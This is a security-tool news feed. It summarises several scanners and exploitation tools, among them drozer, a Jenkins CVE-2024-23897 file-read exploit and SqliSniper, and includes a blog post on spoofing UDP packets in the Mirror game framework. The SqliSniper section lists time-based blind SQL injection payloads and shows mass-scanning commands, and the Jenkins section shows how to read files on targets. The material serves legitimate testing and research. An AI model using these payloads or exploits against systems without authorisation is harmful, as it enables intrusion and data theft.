Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

APKDeepLens - Android Security Insights In Full Spectrum

By: Zion3R
11 April 2024 at 12:30


APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.


Features

APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:

  • APK Analysis -> Scans Android application package (APK) files for security vulnerabilities.
  • OWASP Coverage -> Covers OWASP Top 10 vulnerabilities to ensure a comprehensive security assessment.
  • Advanced Detection -> Utilizes custom python code for APK file analysis and vulnerability detection.
  • Sensitive Information Extraction -> Identifies potential security risks by extracting sensitive information from APK files, such as insecure authentication/authorization keys and insecure request protocols.
  • In-depth Analysis -> Detects insecure data storage practices, including data related to the SD card, and highlights the use of insecure request protocols in the code.
  • Intent Filter Exploits -> Pinpoint vulnerabilities by analyzing intent filters extracted from AndroidManifest.xml.
  • Local File Vulnerability Detection -> Safeguard your app by identifying potential mishandlings related to local file operations
  • Report Generation -> Generates detailed and easy-to-understand reports for each scanned APK, providing actionable insights for developers.
  • CI/CD Integration -> Designed for easy integration into CI/CD pipelines, enabling automated security testing in development workflows.
  • User-Friendly Interface -> Color-coded terminal outputs make it easy to distinguish between different types of findings.

Installation

To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:

For Linux

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd /APKDeepLens
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python APKDeepLens.py --help

For Windows

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd \APKDeepLens
python3 -m venv venv
.\venv\Scripts\activate
pip install -r .\requirements.txt
python APKDeepLens.py --help

Usage

To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.

python3 APKDeepLens.py -apk file.apk

If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.

python3 APKDeepLens.py -apk file.apk -source <source-code-path>

To generate detailed PDF and HTML reports after the scan you can pass -report argument as mentioned below.

python3 APKDeepLens.py -apk file.apk -report

Contributing

We welcome contributions to the APKDeepLens project. If you have a feature request, bug report, or proposal, please open a new issue here.

For those interested in contributing code, please follow the standard GitHub process. We'll review your contributions as quickly as possible :)

Featured at



Drozer - The Leading Security Assessment Framework For Android

By: Zion3R
1 April 2024 at 11:30


drozer (formerly Mercury) is the leading security testing framework for Android.

drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (WithSecure's advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).

drozer is a good tool for simulating a rogue application. A penetration tester does not have to develop an app with custom code to interface with a specific content provider. Instead, drozer can be used with little to no programming experience required to show the impact of letting certain components be exported on a device.

drozer is open source software, maintained by WithSecure, and can be downloaded from: https://labs.withsecure.com/tools/drozer/


Docker Container

To help with making sure drozer can be run on modern systems, a Docker container was created that has a working build of Drozer. This is currently the recommended method of using Drozer on modern systems.

  • The Docker container and basic setup instructions can be found here.
  • Instructions on building your own Docker container can be found here.

Manual Building and Installation

Prerequisites

  1. Python2.7

Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.

  1. Protobuf 2.6 or greater

  2. Pyopenssl 16.2 or greater

  3. Twisted 10.2 or greater

  4. Java Development Kit 1.7

Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.

  1. Android Debug Bridge

Building Python wheel

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python setup.py bdist_wheel

Installing Python wheel

sudo pip install dist/drozer-2.x.x-py2-none-any.whl

Building for Debian/Ubuntu/Mint

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make deb

Installing .deb (Debian/Ubuntu/Mint)

sudo dpkg -i drozer-2.x.x.deb

Building for Redhat/Fedora/CentOS

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make rpm

Installing .rpm (Redhat/Fedora/CentOS)

sudo rpm -I drozer-2.x.x-1.noarch.rpm

Building for Windows

NOTE: Windows Defender and other Antivirus software will flag drozer as malware (an exploitation tool without exploit code wouldn't be much fun!). In order to run drozer you would have to add an exception to Windows Defender and any antivirus software. Alternatively, we recommend running drozer in a Windows/Linux VM.

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python.exe setup.py bdist_msi

Installing .msi (Windows)

Run dist/drozer-2.x.x.win-x.msi 

Usage

Installing the Agent

Drozer can be installed using Android Debug Bridge (adb).

Download the latest Drozer Agent here.

$ adb install drozer-agent-2.x.x.apk

Starting a Session

You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you're ready to start exploring.

We will use the server embedded in the drozer Agent to do this.

If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:

$ adb forward tcp:31415 tcp:31415

Now, launch the Agent, select the "Embedded Server" option and tap "Enable" to start the server. You should see a notification that the server has started.

Then, on your PC, connect using the drozer Console:

On Linux:

$ drozer console connect

On Windows:

> drozer.bat console connect

If using a real device, the IP address of the device on the network must be specified:

On Linux:

$ drozer console connect --server 192.168.0.10

On Windows:

> drozer.bat console connect --server 192.168.0.10

You should be presented with a drozer command prompt:

selecting f75640f67144d9a3 (unknown sdk 4.1.1)  
dz>

The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.

You are now ready to start exploring the device.

Command Reference

Command Description
run Executes a drozer module
list Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.
shell Start an interactive Linux shell on the device, in the context of the Agent process.
cd Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.
clean Remove temporary files stored by drozer on the Android device.
contributors Displays a list of people who have contributed to the drozer framework and modules in use on your system.
echo Print text to the console.
exit Terminate the drozer session.
help Display help about a particular command or module.
load Load a file containing drozer commands, and execute them in sequence.
module Find and install additional drozer modules from the Internet.
permissions Display a list of the permissions granted to the drozer Agent.
set Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.
unset Remove a named variable that drozer passes to any Linux shells that it spawns.

License

drozer is released under a 3-clause BSD License. See LICENSE for full details.

Contacting the Project

drozer is Open Source software, made great by contributions from the community.

Bug reports, feature requests, comments and questions can be submitted here.



CVE-2024-23897 - Jenkins <= 2.441 & <= LTS 2.426.2 PoC And Scanner

By: Zion3R
25 February 2024 at 11:30


Exploitation and scanning tool specifically designed for Jenkins versions <= 2.441 & <= LTS 2.426.2. It leverages CVE-2024-23897 to assess and exploit vulnerabilities in Jenkins instances.


Usage

Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically.

python CVE-2024-23897.py -t <target> -p <port> -f <file>

or

python CVE-2024-23897.py -i <input_file> -f <file>

Parameters: - -t or --target: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block. - -i or --input-file: Path to input file containing hosts in the format of http://1.2.3.4:8080/ (one per line). - -o or --output-file: Export results to file (optional). - -p or --port: Specify the port number. Default is 8080 (optional). - -f or --file: Specify the file to read on the target system.


Changelog

[27th January 2024] - Feature Request
  • Added scanning/exploiting via input file with hosts (-i INPUT_FILE).
  • Added export to file (-o OUTPUT_FILE).

[26th January 2024] - Initial Release
  • Initial release.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.


Author

Alexander Hagenah - URL - Twitter


Disclaimer

This tool is meant for educational and professional purposes only. Unauthorized scanning and exploiting of systems is illegal and unethical. Always ensure you have explicit permission to test and exploit any systems you target.



SploitScan - A Sophisticated Cybersecurity Utility Designed To Provide Detailed Information On Vulnerabilities And Associated Proof-Of-Concept (PoC) Exploits

By: Zion3R
22 February 2024 at 11:30


SploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probability. Empowering cybersecurity professionals with the capability to swiftly identify and apply known and test exploits. It's particularly valuable for professionals seeking to enhance their security measures or develop robust detection strategies against emerging threats.


Features
  • CVE Information Retrieval: Fetches CVE details from the National Vulnerability Database.
  • EPSS Integration: Includes Exploit Prediction Scoring System (EPSS) data, offering a probability score for the likelihood of CVE exploitation, aiding in prioritization.
  • PoC Exploits Aggregation: Gathers publicly available PoC exploits, enhancing the understanding of vulnerabilities.
  • CISA KEV: Shows if the CVE has been listed in the Known Exploited Vulnerabilities (KEV) of CISA.
  • Patching Priority System: Evaluates and assigns a priority rating for patching based on various factors including public exploits availability.
  • Multi-CVE Support and Export Options: Supports multiple CVEs in a single run and allows exporting the results to JSON and CSV formats.
  • User-Friendly Interface: Easy to use, providing clear and concise information.
  • Comprehensive Security Tool: Ideal for quick security assessments and staying informed about recent vulnerabilities.

Usage

Regular:

python sploitscan.py CVE-YYYY-NNNNN

Enter one or more CVE IDs to fetch data. Separate multiple CVE IDs with spaces.

python sploitscan.py CVE-YYYY-NNNNN CVE-YYYY-NNNNN

Optional: Export the results to a JSON or CSV file. Specify the format: 'json' or 'csv'.

python sploitscan.py CVE-YYYY-NNNNN -e JSON

Patching Prioritization System

The Patching Prioritization System in SploitScan provides a strategic approach to prioritizing security patches based on the severity and exploitability of vulnerabilities. It's influenced by the model from CVE Prioritizer, with enhancements for handling publicly available exploits. Here's how it works:

  • A+ Priority: Assigned to CVEs listed in CISA's KEV or those with publicly available exploits. This reflects the highest risk and urgency for patching.
  • A to D Priority: Based on a combination of CVSS scores and EPSS probability percentages. The decision matrix is as follows:
  • A: CVSS score >= 6.0 and EPSS score >= 0.2. High severity with a significant probability of exploitation.
  • B: CVSS score >= 6.0 but EPSS score < 0.2. High severity but lower probability of exploitation.
  • C: CVSS score < 6.0 and EPSS score >= 0.2. Lower severity but higher probability of exploitation.
  • D: CVSS score < 6.0 and EPSS score < 0.2. Lower severity and lower probability of exploitation.

This system assists users in making informed decisions on which vulnerabilities to patch first, considering both their potential impact and the likelihood of exploitation. Thresholds can be changed to your business needs.


Changelog

[17th February 2024] - Enhancement Update
  • Additional Information: Added further information such as references & vector string
  • Removed: Star count in publicly available exploits

[15th January 2024] - Enhancement Update
  • Multiple CVE Support: Now capable of handling multiple CVE IDs in a single execution.
  • JSON and CSV Export: Added functionality to export results to JSON and CSV files.
  • Enhanced CVE Display: Improved visual differentiation and information layout for each CVE.
  • Patching Priority System: Introduced a priority rating system for patching, influenced by various factors including the availability of public exploits.

[13th January 2024] - Initial Release
  • Initial release of SploitScan.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.


Author

Alexander Hagenah - URL - Twitter


Credits


SqliSniper - Advanced Time-based Blind SQL Injection Fuzzer For HTTP Headers

By: Zion3R
10 February 2024 at 11:30


SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.


Key Features

  • Time-Based Blind SQL Injection Detection: Pinpoints potential SQL injection vulnerabilities in HTTP headers.
  • Multi-Threaded Scanning: Offers faster scanning capabilities through concurrent processing.
  • Discord Notifications: Sends alerts via Discord webhook for detected vulnerabilities.
  • False Positive Checks: Implements response time analysis to differentiate between true positives and false alarms.
  • Custom Payload and Headers Support: Allows users to define custom payloads and headers for targeted scanning.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Usage

This will display help for the tool. Here are all the options it supports.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h


███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
██████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██ ███╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝

-: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]

Detect SQL injection by sending malicious queries

options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads

Running SqliSniper

Single Url Scan

The url can be provided with -u flag for single site scan

./sqlisniper.py -u http://example.com

File Input

The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.

./sqlisniper.py -r url.txt

piping URLs

The SqliSniper can also worked with the pipeline input with -p flag

cat url.txt | ./sqlisniper.py -p

The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scanning with custom payloads

By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scanning with Single Payloads

If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Scanning Custom Header

Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Sending Discord Alert Notifications

SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multi-Threading

Threads can be defined with --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.


SqliSniper is made in  python with lots of <3 by @Muhammad Danial.



Argus - A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions

By: Zion3R
4 February 2024 at 11:30

This repo contains the code for our USENIX Security '23 paper "ARGUS: A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions". Argus is a comprehensive security analysis tool specifically designed for GitHub Actions. Built with an aim to enhance the security of CI/CD workflows, Argus utilizes taint-tracking techniques and an impact classifier to detect potential vulnerabilities in GitHub Action workflows.

Visit our website - secureci.org for more information.


Features

  • Taint-Tracking: Argus uses sophisticated algorithms to track the flow of potentially untrusted data from specific sources to security-critical sinks within GitHub Actions workflows. This enables the identification of vulnerabilities that could lead to code injection attacks.

  • Impact Classifier: Argus classifies identified vulnerabilities into High, Medium, and Low severity classes, providing a clearer understanding of the potential impact of each identified vulnerability. This is crucial in prioritizing mitigation efforts.

Usage

This Python script provides a command line interface for interacting with GitHub repositories and GitHub actions.

python argus.py --mode [mode] --url [url] [--output-folder path_to_output] [--config path_to_config] [--verbose] [--branch branch_name] [--commit commit_hash] [--tag tag_name] [--action-path path_to_action] [--workflow-path path_to_workflow]

Parameters:

  • --mode: The mode of operation. Choose either 'repo' or 'action'. This parameter is required.
  • --url: The GitHub URL. Use USERNAME:TOKEN@URL for private repos. This parameter is required.
  • --output-folder: The output folder. The default value is '/tmp'. This parameter is optional.
  • --config: The config file. This parameter is optional.
  • --verbose: Verbose mode. If this option is provided, the logging level is set to DEBUG. Otherwise, it is set to INFO. This parameter is optional.
  • --branch: The branch name. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.
  • --commit: The commit hash. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.
  • --tag: The tag. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.
  • --action-path: The (relative) path to the action. You cannot provide --action-path in repo mode. This parameter is optional.
  • --workflow-path: The (relative) path to the workflow. You cannot provide --workflow-path in action mode. This parameter is optional.

Example:

To use this script to interact with a GitHub repo, you might run a command like the following:

python argus.py --mode repo --url https://github.com/username/repo.git --branch master

This would run the script in repo mode on the master branch of the specified repository.

How to use

Argus can be run inside a docker container. To do so, follow the steps:

  • Install docker and docker-compose
    • apt-get -y install docker.io docker-compose
  • Clone the release branch of this repo
    • git clone <>
  • Build the docker container
    • docker-compose build
  • Now you can run argus. Example run:
    • docker-compose run argus --mode {mode} --url {url to target repo}
  • Results will be available inside the results folder

Viewing SARIF Results

You can view SARIF results either through an online viewer or with a Visual Studio Code (VSCode) extension.

  1. Online Viewer: The SARIF Web Viewer is an online tool that allows you to visualize SARIF files. You can upload your SARIF file (argus_report.sarif) directly to the website to view the results.

  2. VSCode Extension: If you prefer to use VSCode, you can install the SARIF Viewer extension. After installing the extension, you can open your SARIF file (argus_report.sarif) in VSCode. The results will appear in the SARIF Explorer pane, which provides a detailed and navigable view of the results.

Remember to handle the SARIF file with care, especially if it contains sensitive information from your codebase.

Troubleshooting

If there is an issue with needing the Github authorization for running, you can provide username:TOKEN in the GITHUB_CREDS environment variable. This will be used for all the requests made to Github. Note, we do not store this information anywhere, neither create any thing in the Github account - we only use this for cloning the repositories.

Contributions

Argus is an open-source project, and we welcome contributions from the community. Whether it's reporting a bug, suggesting a feature, or writing code, your contributions are always appreciated!

Cite Argus

If you use Argus in your research, please cite our paper:

  @inproceedings{muralee2023Argus,
title={ARGUS: A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions},
author={S. Muralee, I. Koishybayev, A. Nahapetyan, G. Tystahl, B. Reaves, A. Bianchi, W. Enck,
A. Kapravelos, A. Machiry},
booktitle={32st USENIX Security Symposium (USENIX Security 23)},
year={2023},
}


Raven - CI/CD Security Analyzer

By: Zion3R
28 January 2024 at 11:30


RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) is a powerful security tool designed to perform massive scans for GitHub Actions CI workflows and digest the discovered data into a Neo4j database. Developed and maintained by the Cycode research team.

With Raven, we were able to identify and report security vulnerabilities in some of the most popular repositories hosted on GitHub, including:

We listed all vulnerabilities discovered using Raven in the tool Hall of Fame.


What is Raven

The tool provides the following capabilities to scan and analyze potential CI/CD vulnerabilities:

  • Downloader: You can download workflows and actions necessary for analysis. Workflows can be downloaded for a specified organization or for all repositories, sorted by star count. Performing this step is a prerequisite for analyzing the workflows.
  • Indexer: Digesting the downloaded data into a graph-based Neo4j database. This process involves establishing relationships between workflows, actions, jobs, steps, etc.
  • Query Library: We created a library of pre-defined queries based on research conducted by the community.
  • Reporter: Raven has a simple way of reporting suspicious findings. As an example, it can be incorporated into the CI process for pull requests and run there.

Possible usages for Raven:

  • Scanner for your own organization's security
  • Scanning specified organizations for bug bounty purposes
  • Scan everything and report issues found to save the internet
  • Research and learning purposes

This tool provides a reliable and scalable solution for CI/CD security analysis, enabling users to query bad configurations and gain valuable insights into their codebase's security posture.

Why Raven

In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:

  • A simple injection scenario exposed dozens of public repositories, including popular open-source projects.
  • We found that one of the most popular frontend frameworks was vulnerable to the innovative method of branch injection attack.
  • We detailed a completely different attack vector, 3rd party integration risks, the most popular project on GitHub, and thousands more.
  • Finally, the Microsoft 365 UI framework, with more than 300 million users, is vulnerable to an additional new threat – an artifact poisoning attack.
  • Additionally, we found, reported, and disclosed hundreds of other vulnerabilities privately.

Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.

It was for these reasons that Raven was created, a framework for CI/CD security analysis workflows (and GitHub Actions as the first use case). In our focus, we examined complex scenarios where each issue isn't a threat on its own, but when combined, they pose a severe threat.

Setup && Run

To get started with Raven, follow these installation instructions:

Step 1: Install the Raven package

pip3 install raven-cycode

Step 2: Setup a local Redis server and Neo4j database

docker run -d --name raven-neo4j -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/123456789 --volume raven-neo4j:/data neo4j:5.12
docker run -d --name raven-redis -p6379:6379 --volume raven-redis:/data redis:7.2.1

Another way to setup the environment is by running our provided docker compose file:

git clone https://github.com/CycodeLabs/raven.git
cd raven
make setup

Step 3: Run Raven Downloader

Org mode:

raven download org --token $GITHUB_TOKEN --org-name RavenDemo

Crawl mode:

raven download crawl --token $GITHUB_TOKEN --min-stars 1000

Step 4: Run Raven Indexer

raven index

Step 5: Inspect the results through the reporter

raven report --format raw

At this point, it is possible to inspect the data in the Neo4j database, by connecting http://localhost:7474/browser/.

Prerequisites

  • Python 3.9+
  • Docker Compose v2.1.0+
  • Docker Engine v1.13.0+

Infrastructure

Raven is using two primary docker containers: Redis and Neo4j. make setup will run a docker compose command to prepare that environment.

Usage

The tool contains three main functionalities, download and index and report.

Download

Download Organization Repositories

usage: raven download org [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] --org-name ORG_NAME

options:
-h, --help show this help message and exit
--token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
--debug Whether to print debug statements, default: False
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--org-name ORG_NAME Organization name to download the workflows

Download Public Repositories

usage: raven download crawl [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--max-stars MAX_STARS] [--min-stars MIN_STARS]

options:
-h, --help show this help message and exit
--token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
--debug Whether to print debug statements, default: False
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--max-stars MAX_STARS
Maximum number of stars for a repository
--min-stars MIN_STARS
Minimum number of stars for a repository, default : 1000

Index

usage: raven index [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI] [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS]
[--clean-neo4j] [--debug]

options:
-h, --help show this help message and exit
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--neo4j-uri NEO4J_URI
Neo4j URI endpoint, default: neo4j://localhost:7687
--neo4j-user NEO4J_USER
Neo4j username, default: neo4j
--neo4j-pass NEO4J_PASS
Neo4j password, default: 123456789
--clean-neo4j, -cn Whether to clean cache, and index f rom scratch, default: False
--debug Whether to print debug statements, default: False

Report

usage: raven report [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI]
[--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS] [--clean-neo4j]
[--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}]
[--severity {info,low,medium,high,critical}] [--queries-path QUERIES_PATH] [--format {raw,json}]
{slack} ...

positional arguments:
{slack}
slack Send report to slack channel

options:
-h, --help show this help message and exit
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--neo4j-uri NEO4J_URI
Neo4j URI endpoint, default: neo4j://localhost:7687
--neo4j-user NEO4J_USER
Neo4j username, default: neo4j
--neo4j-pass NEO4J_PASS
Neo4j password, default: 123456789
--clean-neo4j, -cn Whether to clean cache, and index from scratch, default: False
--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}, -t {injection,unauthenticated,fixed,priv-esc,supply-chain}
Filter queries with specific tag
--severity {info,low,medium,high,critical}, -s {info,low,medium,high,critical}
Filter queries by severity level (default: info)
--queries-path QUERIES_PATH, -dp QUERIES_PATH
Queries folder (default: library)
--format {raw,json}, -f {raw,json}
Report format (default: raw)

Examples

Retrieve all workflows and actions associated with the organization.

raven download org --token $GITHUB_TOKEN --org-name microsoft --org-name google --debug

Scrape all publicly accessible GitHub repositories.

raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debug

After finishing the download process or if interrupted using Ctrl+C, proceed to index all workflows and actions into the Neo4j database.

raven index --debug

Now, we can generate a report using our query library.

raven report --severity high --tag injection --tag unauthenticated

Rate Limiting

For effective rate limiting, you should supply a Github token. For authenticated users, the next rate limiting applies:

  • Code search - 30 queries per minute
  • Any other API - 5000 per hour

Research Knowledge Base

Current Limitations

  • It is possible to run external action by referencing a folder with a Dockerfile (without action.yml). Currently, this behavior isn't supported.
  • It is possible to run external action by referencing a docker container through the docker://... URL. Currently, this behavior isn't supported.
  • It is possible to run an action by referencing it locally. This creates complex behavior, as it may come from a different repository that was checked out previously. The current behavior is trying to find it in the existing repository.
  • We aren't modeling the entire workflow structure. If additional fields are needed, please submit a pull request according to the contribution guidelines.

Future Research Work

  • Implementation of taint analysis. Example use case - a user can pass a pull request title (which is controllable parameter) to an action parameter that is named data. That action parameter may be used in a run command: - run: echo ${{ inputs.data }}, which creates a path for a code execution.
  • Expand the research for findings of harmful misuse of GITHUB_ENV. This may utilize the previous taint analysis as well.
  • Research whether actions/github-script has an interesting threat landscape. If it is, it can be modeled in the graph.

Want more of CI/CD Security, AppSec, and ASPM? Check out Cycode

If you liked Raven, you would probably love our Cycode platform that offers even more enhanced capabilities for visibility, prioritization, and remediation of vulnerabilities across the software delivery.

If you are interested in a robust, research-driven Pipeline Security, Application Security, or ASPM solution, don't hesitate to get in touch with us or request a demo using the form https://cycode.com/book-a-demo/.



Impersonating Other Players with UDP Spoofing in Mirror

18 April 2023 at 16:00

Mirror is an open-source multiplayer game framework for Unity. The history of Mirror is pretty interesting, I’d encourage anyone interested to give it a read on their site. Long story short, it was built as a replacement for UNET (which was provided by Unity but had a number of issues and was ultimately deprecated).

Mirror has a number of different transports that you can swap between, such as UDP, websocket, TCP. I recently went on a deep dive into their default transport, KCP, which works over UDP.

Among other concepts, Mirror has commands, which are functions that clients can invoke on the server. Players have ownership of certain objects in the game, and users are only supposed to be able invoke commands on objects they own. For example, a game might implement a command Player::ConsumePotion() which deletes a potion and heals the user. Each player owns their own Player object and should only be able to call this method on their own Player (otherwise you could force other users to consume all of their potions at an inopportune time). Mirror also has RPCs, which are functions that the server calls on the clients.

Both of these would require some way of authenticating clients, so Mirror can know who sent a command/RPC and whether they were authorized to do it. I was curious how Mirror implements this authentication.

Digging in to its (quite nice) source code and analyzing recorded packets with 010 Editor, I found the KCP packet structure to look like this:

  • header : byte. This header determines whether KCP considers this packet reliable (0x01) or unreliable (0x02).
  • conv_ : uint. This one always seemed to be 0 in my captures, I didn’t dig into what it’s for.
  • cmd : byte. There’s a few different commands. The main one is CMD_PUSH (0x51) which “pushes” data. There are also handshake-related commands that are not important for this post.
  • frg : byte. I’m guessing this is used for fragmenting data among multiple packets. All the packets I sent are short so it was always 0 for me and I didn’t look into it further.
  • wnd : ushort. I think it has to do with max packet size. It was 4096 for me.
  • ts : uint. Time in milliseconds since application started running.
  • sn : uint. Might stand for “sequence number”? Mirror expects it to be the same as its rcv_nxt value (or within a certain window in case packets come out of order). Starts at 0 and increments by 1 each message.
  • una : uint. Not sure what this is, but it always seemed to be the same as “sn”.
  • len : uint. Size of the payload.
  • kcpHeader : byte. There’s a few possible values, for handshake, keepalive, disconnect. The main one is 0x03 used to indicate sending data.
  • remoteTimestamp : double. Timestamp, it could be set arbitrarily and didn’t seem to affect anything.
  • messageTypeId: ushort. Hashed message type ID (e.g. Mirror.CommandMessage). Mirror uses a special hashing routine for these IDs, will talk about that in a bit.
  • payload : bytes. The actual command or RPC data.

I was particularly interested in commands, and seeing if there was a way to trick the server into running commands for other users. In this case, the payload will be of type Mirror.CommandMessage which has this structure:

  • netId : uint. Each game object that can receive messages has a netId, they start at 0 and increment.
  • componentIndex : byte. A game object might have multiple components that can receive messages, this is the index of the targeted component.
  • functionHash : ushort. Hash of the (fully qualified) name of the function to invoke on the component, uses the same hashing function as I mentioned. It can’t be any function, it has to be one of the special annotated commands or RPCs.
  • dataLen : uint. Length of all of the parameters to the function combined.
  • data : bytes. Contains the payload to the functions.

